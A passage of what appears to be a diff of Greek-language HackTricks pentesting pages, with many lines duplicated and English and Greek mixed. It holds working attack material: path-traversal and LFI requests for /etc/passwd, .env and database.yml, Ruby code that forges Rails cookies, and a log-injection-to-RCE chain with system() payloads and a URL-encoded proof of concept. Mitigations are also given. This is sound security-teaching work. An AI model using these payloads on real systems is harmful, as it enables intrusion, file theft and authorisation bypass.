Όταν μια εφαρμογή χρησιμοποιεί Active Storage με `image_processing` + `mini_magick`, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετατροπής εικόνας, εκδόσεις του Rails πριν από 7.1.5.2 / 7.2.2.2 / 8.0.2.1 ενδέχεται να επιτρέπουν command injection επειδή ορισμένες μεθόδοι μετατροπής επιτράπηκαν κατά λάθος από προεπιλογή.
|
||||
Όταν μια εφαρμογή χρησιμοποιεί Active Storage με `image_processing` + `mini_magick`, και περνά μη αξιόπιστες παραμέτρους σε μεθόδους μετασχηματισμού εικόνας, οι εκδόσεις Rails πριν τις 7.1.5.2 / 7.2.2.2 / 8.0.2.1 μπορούν να επιτρέψουν command injection επειδή ορισμένες μέθοδοι μετασχηματισμού επιτράπηκαν κατά λάθος από προεπιλογή.
|
||||
|
||||
- Ένα ευάλωτο μοτίβο μοιάζει με:
|
||||
- A vulnerable pattern looks like:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
όπου `params[:t]` και/ή `params[:v]` ελέγχονται από τον attacker.
|
||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||
|
||||
- Τι να δοκιμάσετε κατά τις δοκιμές
|
||||
- Εντοπίστε endpoints που δέχονται variant/processing επιλογές, ονόματα μετατροπών ή αυθαίρετα ImageMagick arguments.
|
||||
- Fuzzάρετε τα `params[:t]` και `params[:v]` για ύποπτα σφάλματα ή side-effects εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να πετύχετε code exec στον host που επεξεργάζεται τις εικόνες.
|
||||
- Αν έχετε μόνο πρόσβαση ανάγνωσης στα παραγόμενα variants, επιχειρήστε blind exfiltration μέσω crafted ImageMagick operations.
|
||||
- Τι να δοκιμάσετε κατά τη δοκιμή
|
||||
- Εντοπίστε endpoints που δέχονται variant/processing options, ονόματα μετασχηματισμών, ή αυθαίρετα ImageMagick arguments.
|
||||
- Fuzzάρετε τα `params[:t]` και `params[:v]` για ύποπτα σφάλματα ή παρενέργειες εκτέλεσης. Αν μπορείτε να επηρεάσετε το όνομα της μεθόδου ή να περάσετε raw arguments που φτάνουν στο MiniMagick, μπορεί να επιτύχετε εκτέλεση κώδικα στον host που εκτελεί τον image processor.
|
||||
- Αν έχετε μόνο read-access στα παραγόμενα variants, δοκιμάστε τυφλή εξαγωγή δεδομένων (blind exfiltration) μέσω crafted ImageMagick operations.
|
||||
|
||||
- Αντιμετώπιση/ανιχνεύσεις
|
||||
- Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + `image_processing` + `mini_magick` και user-controlled μετατροπές, θεωρήστε το εκμεταλλεύσιμο. Συνιστάται αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και ενίσχυση της πολιτικής ImageMagick.
|
||||
- Αποκατάσταση/ανίχνευση
|
||||
- Αν δείτε Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 με Active Storage + `image_processing` + `mini_magick` και μετασχηματισμούς υπό έλεγχο χρήστη, θεωρήστε το εκμεταλλεύσιμο. Συστήστε αναβάθμιση και επιβολή αυστηρών allowlists για μεθόδους/παραμέτρους και μια hardened ImageMagick policy.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
Αν το target stack χρησιμοποιεί Rack middleware απευθείας ή μέσω frameworks, εκδόσεις του `rack` πριν από 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω `Rack::Static` όταν το `:root` δεν έχει οριστεί ή είναι λανθασμένα διαμορφωμένο. Κωδικοποιημένο traversal στο `PATH_INFO` μπορεί να αποκαλύψει αρχεία κάτω από το process working directory ή ένα απροσδόκητο root.
|
||||
Αν το target stack χρησιμοποιεί Rack middleware άμεσα ή μέσω frameworks, εκδόσεις του `rack` πριν τις 2.2.13, 3.0.14 και 3.1.12 επιτρέπουν Local File Inclusion μέσω `Rack::Static` όταν το `:root` δεν έχει οριστεί/είναι λανθασμένο. Κωδικοποιημένη traversal στο `PATH_INFO` μπορεί να αποκαλύψει αρχεία κάτω από τον working directory της διεργασίας ή από έναν μη αναμενόμενο root.
|
||||
|
||||
- Αναζητήστε εφαρμογές που mountάρουν `Rack::Static` στο `config.ru` ή στις middleware stacks. Δοκιμάστε κωδικοποιημένα traversals ενάντια σε static μονοπάτια, για παράδειγμα:
|
||||
- Ψάξτε για εφαρμογές που mount-άρουν `Rack::Static` σε `config.ru` ή στο middleware stack. Δοκιμάστε κωδικοποιημένες traversals ενάντια σε static paths, για παράδειγμα:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
Προσαρμόστε το prefix για να ταιριάξει με τα ρυθμισμένα `urls:`. Αν η εφαρμογή απαντήσει με περιεχόμενο αρχείου, πιθανότατα έχετε LFI σε οτιδήποτε κάτω από το επιλυμένο `:root`.
|
||||
Προσαρμόστε το prefix ώστε να ταιριάζει με τα ρυθμισμένα `urls:`. Αν η εφαρμογή απαντά με περιεχόμενο αρχείου, πιθανότατα έχετε LFI προς οτιδήποτε κάτω από το επιλυμένο `:root`.
|
||||
|
||||
- Mitigation: αναβαθμίστε το Rack· βεβαιωθείτε ότι το `:root` δείχνει μόνο σε έναν κατάλογο δημόσιων αρχείων και έχει οριστεί ρητά.
|
||||
- Μείωση κινδύνου: αναβαθμίστε το Rack; βεβαιωθείτε ότι το `:root` δείχνει μόνο σε έναν κατάλογο με δημόσια αρχεία και είναι ορισμένο ρητά.
|
||||
|
||||
## Forging/decrypting Rails cookies when `secret_key_base` is leaked
|
||||
|
||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (π.χ., σε repo, logs, ή misconfigured credentials), μπορείτε συνήθως να decrypt, modify και re-encrypt τα cookies. Αυτό συχνά οδηγεί σε authz bypass αν η εφαρμογή αποθηκεύει roles, user IDs, ή feature flags στα cookies.
|
||||
Το Rails κρυπτογραφεί και υπογράφει cookies χρησιμοποιώντας κλειδιά που προέρχονται από το `secret_key_base`. Αν αυτή η τιμή leaks (π.χ., σε ένα repo, logs, ή misconfigured credentials), συνήθως μπορείτε να αποκρυπτογραφήσετε, να τροποποιήσετε και να ξανα-κρυπτογραφήσετε cookies. Αυτό συχνά οδηγεί σε παράκαμψη εξουσιοδότησης (authz bypass) αν η εφαρμογή αποθηκεύει ρόλους, user IDs, ή feature flags στα cookies.
|
||||
|
||||
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
|
||||
```ruby
|
||||
@ -71,10 +71,10 @@ forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
Σημειώσεις:
|
||||
- Παλαιότερες εφαρμογές ενδέχεται να χρησιμοποιούν AES-256-CBC και salts `encrypted cookie` / `signed encrypted cookie`, ή JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, τον cipher και τον serializer.
|
||||
- Σε περίπτωση παραβίασης ή κατά την αξιολόγηση, αλλάξτε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
|
||||
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Προσαρμόστε ανάλογα τα salts, cipher, και serializer.
|
||||
- Σε περίπτωση παραβίασης/αξιολόγησης, περιστρέψτε το `secret_key_base` για να ακυρώσετε όλα τα υπάρχοντα cookies.
|
||||
|
||||
## Δείτε επίσης (ευπάθειες ειδικές για Ruby/Rails)
|
||||
## Δείτε επίσης (Ruby/Rails-specific vulns)
|
||||
|
||||
- Ruby deserialization and class pollution:
|
||||
{{#ref}}
|
||||
@ -92,9 +92,83 @@ puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
|
||||
|
||||
Όταν μια εφαρμογή (συχνά ένα απλό Rack/Sinatra/Rails endpoint) και:
|
||||
- καταγράφει μια συμβολοσειρά ελεγχόμενη από τον χρήστη αυτούσια, και
|
||||
- αργότερα `load`s ένα αρχείο του οποίου το μονοπάτι προκύπτει από την ίδια συμβολοσειρά (μετά το `Pathname#cleanpath`),
|
||||
|
||||
Συχνά μπορείτε να πετύχετε remote code execution δηλητηριάζοντας το log και στη συνέχεια αναγκάζοντας την εφαρμογή να `load` το αρχείο καταγραφής. Κύρια primitives:
|
||||
|
||||
- Ruby `load` αξιολογεί το περιεχόμενο του στοχευόμενου αρχείου ως Ruby ανεξαρτήτως κατάληξης αρχείου. Οποιοδήποτε αναγνώσιμο αρχείο κειμένου των οποίων τα περιεχόμενα αναλύονται ως Ruby θα εκτελεστεί.
|
||||
- `Pathname#cleanpath` συμπτύσσει `.` και `..` segments χωρίς να προσπελάσει το filesystem, επιτρέποντας path smuggling: attacker-controlled junk μπορεί να προστεθεί μπροστά για καταγραφή ενώ το καθαρισμένο μονοπάτι εξακολουθεί να επιλύεται στο επιθυμητό αρχείο προς εκτέλεση (π.χ. `../logs/error.log`).
|
||||
|
||||
### Ελάχιστο ευάλωτο μοτίβο
|
||||
```ruby
|
||||
require 'logger'
|
||||
require 'pathname'
|
||||
|
||||
logger = Logger.new('logs/error.log')
|
||||
param = CGI.unescape(params[:script])
|
||||
path_obj = Pathname.new(param)
|
||||
|
||||
logger.info("Running backup script #{param}") # Raw log of user input
|
||||
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
|
||||
```
|
||||
### Γιατί το log μπορεί να περιέχει έγκυρο Ruby
|
||||
`Logger` γράφει προθεματικές γραμμές όπως:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
|
||||
```
|
||||
Στη Ruby, `#` ξεκινάει ένα σχόλιο και `9/2/2025` είναι απλώς αριθμητική. Για να εγχύσετε έγκυρο κώδικα Ruby πρέπει να:
|
||||
- Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`).
|
||||
- Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`.
|
||||
- Then place arbitrary Ruby (e.g., `system(...)`).
|
||||
|
||||
Παράδειγμα του τι θα καταλήξει στο log μετά από ένα αίτημα με κατασκευασμένη παράμετρο:
|
||||
```
|
||||
I, [9/2/2025 #209384] INFO -- : Running backup script
|
||||
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
### Smuggling ενός μοναδικού string που τόσο καταγράφει code όσο και επιλύεται στη διαδρομή του log
|
||||
Θέλουμε ένα string ελεγχόμενο από attacker που:
|
||||
- όταν logged raw, περιέχει το Ruby payload μας, και
|
||||
- όταν περαστεί μέσω `Pathname.new(<input>).cleanpath`, επιλύεται σε `../logs/error.log` οπότε το επακόλουθο `load` εκτελεί το μόλις μολυσμένο αρχείο log.
|
||||
|
||||
`Pathname#cleanpath` αγνοεί schemes και συμπτύσσει traversal components, οπότε το ακόλουθο λειτουργεί:
|
||||
```ruby
|
||||
require 'pathname'
|
||||
|
||||
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
|
||||
puts p.cleanpath # => ../logs/error.log
|
||||
```
|
||||
- Το `#` πριν το `://` εξασφαλίζει ότι το Ruby αγνοεί το υπόλοιπο όταν το log εκτελείται, ενώ το `cleanpath` εξακολουθεί να μειώνει το επίθημα σε `../logs/error.log`.
|
||||
- Το αρχικό newline διασπά τη γραμμή INFO; το `]` κλείνει την κρεμάμενη αγκύλη; το `][0]=1` ικανοποιεί τον parser.
|
||||
|
||||
### Εκμετάλλευση από άκρο σε άκρο
|
||||
1. Στείλτε τα ακόλουθα ως όνομα του script αντιγράφου ασφαλείας (κωδικοποιήστε με URL το πρώτο newline ως `%0A` αν χρειάζεται):
|
||||
```
|
||||
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
|
||||
```
|
||||
2. Η εφαρμογή καταγράφει την ακατέργαστη συμβολοσειρά σας στο `logs/error.log`.
|
||||
3. Η εφαρμογή υπολογίζει το `cleanpath` που επιλύεται σε `../logs/error.log` και καλεί `load` πάνω του.
|
||||
4. Το Ruby εκτελεί τον κώδικα που εισάγατε στο log.
|
||||
|
||||
Για να εξάγετε ένα αρχείο σε περιβάλλον τύπου CTF:
|
||||
```
|
||||
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
|
||||
```
|
||||
URL-encoded PoC (ο πρώτος χαρακτήρας είναι νέα γραμμή):
|
||||
```
|
||||
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- Ανακοίνωση ασφάλειας Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- Ανακοίνωση Ασφάλειας Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- Ειδοποίηση GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
- [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
|
||||
- [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
|
||||
- [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
|
||||
- [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Απογραφή
|
||||
## Απαρίθμηση
|
||||
```bash
|
||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||
@ -13,13 +13,11 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||
```bash
|
||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||
```
|
||||
Αν βρείτε έγκυρα credentials, μπορείτε να χρησιμοποιήσετε περισσότερα metasploit scanner modules για να αποκτήσετε πληροφορίες.
|
||||
|
||||
|
||||
Εάν βρείτε έγκυρα credentials, μπορείτε να χρησιμοποιήσετε περισσότερα metasploit scanner modules για να αποκτήσετε πληροφορίες.
|
||||
|
||||
### Δείτε επίσης
|
||||
|
||||
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||
Linux LPE μέσω της ανίχνευσης υπηρεσίας VMware Tools (CWE-426 / CVE-2025-41244):
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν remote server (Καλύτερο: Μπορείς να γράψεις τον κώδικα και ο server θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Ο server φορτώνει ένα τοπικό αρχείο.
|
||||
**Remote File Inclusion (RFI):** Το αρχείο φορτώνεται από έναν απομακρυσμένο διακομιστή (Καλύτερο: μπορείτε να γράψετε τον κώδικα και ο διακομιστής θα τον εκτελέσει). Στο php αυτό είναι **απενεργοποιημένο** από προεπιλογή (**allow_url_include**).\
|
||||
**Local File Inclusion (LFI):** Ο διακομιστής φορτώνει ένα τοπικό αρχείο.
|
||||
|
||||
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον server.
|
||||
Η ευπάθεια προκύπτει όταν ο χρήστης μπορεί με κάποιο τρόπο να ελέγξει το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
|
||||
|
||||
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once
|
||||
Ευάλωτες **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
Ένα ενδιαφέρον εργαλείο για εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,38 +19,39 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**Συνδυάζοντας διάφορες λίστες \*nix LFI και προσθέτοντας περισσότερα paths δημιούργησα αυτή:**
|
||||
**Συνδυάζοντας διάφορες \*nix LFI λίστες και προσθέτοντας περισσότερες διαδρομές δημιούργησα αυτή:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Δοκίμασε επίσης να αλλάξεις `/` για `\`\
|
||||
Δοκίμασε επίσης να προσθέσεις `../../../../../`
|
||||
Δοκιμάστε επίσης να αλλάξετε `/` σε `\`\
|
||||
Δοκιμάστε επίσης να προσθέσετε `../../../../../`
|
||||
|
||||
A list that uses several techniques to find the file /etc/password (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /etc/password (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
|
||||
### **Windows**
|
||||
|
||||
Συνένωση διαφορετικών wordlists:
|
||||
Συγχώνευση διαφορετικών wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Δοκίμασε επίσης να αλλάξεις `/` για `\`\
|
||||
Δοκίμασε επίσης να αφαιρέσεις `C:/` και να προσθέσεις `../../../../../`
|
||||
Δοκιμάστε επίσης να αλλάξετε `/` σε `\`\
|
||||
Δοκιμάστε επίσης να αφαιρέσετε `C:/` και να προσθέσετε `../../../../../`
|
||||
|
||||
A list that uses several techniques to find the file /boot.ini (to check if the vulnerability exists) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
Μια λίστα που χρησιμοποιεί διάφορες τεχνικές για να βρει το αρχείο /boot.ini (για να ελέγξετε αν υπάρχει η ευπάθεια) μπορεί να βρεθεί [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
|
||||
### **OS X**
|
||||
|
||||
Έλεγξε τη λίστα LFI του linux.
|
||||
Ελέγξτε τη λίστα LFI του linux.
|
||||
|
||||
## Βασικό LFI και παρακάμψεις
|
||||
## Βασικά LFI και bypasses
|
||||
|
||||
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν επίσης να εφαρμοστούν σε Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
Όλα τα παραδείγματα αφορούν Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion επίσης (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
@ -62,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
Παράκαμψη της προσθήκης επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
||||
Bypass την προσθήκη επιπλέον χαρακτήρων στο τέλος της παρεχόμενης συμβολοσειράς (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Αυτό **έχει επιλυθεί από το PHP 5.4**
|
||||
Αυτό έχει **επιλυθεί από την PHP 5.4**
|
||||
|
||||
### **Κωδικοποίηση**
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε μη-τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
|
||||
Μπορείτε να χρησιμοποιήσετε μη τυπικές κωδικοποιήσεις όπως double URL encode (και άλλες):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -85,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### Εξερεύνηση καταλόγων του συστήματος αρχείων σε διακομιστή
|
||||
|
||||
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και τον έλεγχο για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω ακολουθεί μια λεπτομερής μέθοδος για να το πραγματοποιήσετε:
|
||||
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, εφαρμόζοντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους των καταλόγων και την διερεύνηση της ύπαρξης συγκεκριμένων φακέλων. Παρακάτω ακολουθεί μια αναλυτική μέθοδος για την επίτευξη αυτού:
|
||||
|
||||
1. **Προσδιορίστε το Βάθος Καταλόγου:** Καθορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το αρχείο `/etc/passwd` (εφαρμόζεται αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να δομηθεί ως εξής, υποδεικνύοντας βάθος τριών:
|
||||
1. **Προσδιορίστε το Βάθος Καταλόγου:** Προσδιορίστε το βάθος του τρέχοντος καταλόγου σας επιτυχώς ανακτώντας το `/etc/passwd` (ισχύει αν ο διακομιστής βασίζεται σε Linux). Ένα παράδειγμα URL μπορεί να δομηθεί ως εξής, υποδεικνύοντας βάθος τριών επιπέδων:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **Έλεγχος για φακέλους:** Προσθέστε το όνομα του ύποπτου φακέλου (π.χ., `private`) στο URL, και μετά πλοηγηθείτε ξανά στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του βάθους κατά ένα:
|
||||
2. **Έλεγχος για φακέλους:** Προσθέστε το όνομα του υποψιαζόμενου φακέλου (π.χ., `private`) στη διεύθυνση URL, στη συνέχεια πλοηγηθείτε ξανά στο `/etc/passwd`. Το επιπλέον επίπεδο καταλόγου απαιτεί την αύξηση του depth κατά ένα:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **Ερμηνεύστε τα Αποτελέσματα:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Περιεχόμενα του `/etc/passwd`:** Επιβεβαιώνεται η ύπαρξη του φακέλου `private`.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι εντοπισμένοι φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή τις παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
|
||||
- **Σφάλμα / Κανένα αποτέλεσμα:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
|
||||
- **Περιεχόμενο του `/etc/passwd`:** Επιβεβαιώνεται η ύπαρξη του φακέλου `private`.
|
||||
4. **Αναδρομική Εξερεύνηση:** Οι ανιχνευθέντες φάκελοι μπορούν να διερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
|
||||
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές θέσεις του συστήματος αρχείων, προσαρμόστε το payload ανάλογα. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
||||
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε ανάλογα το payload. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος βρίσκεται σε βάθος 3), χρησιμοποιήστε:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί τις διαδρομές αρχείων σε εφαρμογές ιστού. Συχνά χρησιμοποιείται για πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να κατασκευαστεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, θα εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
||||
Το path truncation είναι μια μέθοδος που χρησιμοποιείται για να χειραγωγήσει διαδρομές αρχείων σε web εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να κατασκευαστεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, εξακολουθεί να δείχνει στο επιθυμητό αρχείο.
|
||||
|
||||
In PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||
Στο PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` αντιμετωπίζονται όλα ως η ίδια διαδρομή.
|
||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (δημιουργώντας `passwd/`) δεν αλλάζει το αρχείο στόχο.
|
||||
- Παρομοίως, αν στο τέλος μιας διαδρομής προστεθεί `.php` (π.χ. `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελαύνεται.
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` θεωρούνται όλες ως η ίδια διαδρομή.
|
||||
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (μετατρέποντας το σε `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
|
||||
- Παρομοίως, αν στο τέλος μιας διαδρομής προστεθεί `.php` (π.χ. `shellcode.php`), η προσθήκη `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
|
||||
|
||||
Τα παραδείγματα που ακολουθούν δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
||||
Τα παραδείγματα που ακολουθούν δείχνουν πώς να χρησιμοποιήσετε το path truncation για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν συνηθισμένο στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμών χρηστών):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
